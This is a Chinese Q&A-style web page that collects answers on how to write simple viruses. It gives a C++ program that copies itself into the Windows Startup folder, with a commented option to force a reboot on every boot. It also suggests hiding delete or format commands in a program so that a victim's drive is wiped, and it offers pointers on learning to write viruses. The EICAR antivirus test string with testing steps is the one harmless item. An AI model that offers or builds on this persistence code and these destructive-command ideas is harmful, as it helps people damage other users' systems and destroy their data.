比较简单的C++病毒代码
最简单的病毒代码如下： #include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的，就是一开机就重起了！
system(cmd);
system("pause");
}
谁能给我一个简单的病毒的代码呀
本代码尽管测试，无任何危险。病毒文件测试代码。使用方法如下：
this
is
not
a
real
virus.
it
is
a
text
file
that
is
used
to
test
antivirus
software.
测试代码：
---------------------请复制下面的代码到文本中保存-------------------
x5o!p%@ap[4\pzx54(p^)7cc)7}$eicar-standard-antivirus-test-file!$h+h*
---------------------请复制上面的代码到文本中保存-------------------
测试方法：
1.鼠标右键点击桌面空白处，创建一个“文本文档”。（什么，还不会建？我倒）
2.将下面这段测试代码复制到“文本”里，保存，然后可以直接右键点击这个文本，用杀毒软件扫描（图1）。也可以等一会，如果你的杀毒软件还行，会自动报毒并将该文本删除，那就可以初步放心了。
测试原理：
该段代码是欧洲计算机防病毒协会开发的一种病毒代码，其中的特征码已经包含在各种杀毒软件的病毒代码库里，所以可以用做测试病毒扫描引擎。
测试等级:
特等：复制完代码后便提示内存有病毒
优等：刚保存完就提示病毒(或者直接删除)
中等：保存后几秒提示病毒(或者直接删除)
下等：需自己启动病毒扫描查杀才提示病毒(或者直接删除)
劣等：无论怎么扫描都无法提示病毒(或者直接删除)

最强病毒!谨慎运行!此程序会将系统搞崩溃.

编写病毒代码，需要学什么？（注：我已会C语言）
写病毒用什么语言都可以。不过是一种工具，你只要精通它就行，要了解底层的东西，比如操作系统，计算机组成原理。
还有，谁说goto在C语言里禁用了？你去找到那个这么说的人，狠狠的抽他俩嘴巴！
goto不是天生的恶魔，C89,C99标准没有取消它是有根据的。比如，for语句里套switch，在switch里怎么跳出循环？break可不行。在比如，输入法的软键盘，需要检索你按的那个键，如何构词。goto就是最好的解决办法。楼上的那兄弟用goto写的是循环，没有for这类的语句的时候，就是用的goto。
怎么用C语言写个简单病毒，给个代码过程
一个简单的病毒就要很长的代码，写病毒没有那么简单。
不过你可以试试利用cmd命令，比如删除拉，格式化拉，拷贝拉，写进代码里。别人一打开程序资料盘就格掉了，嘿嘿。
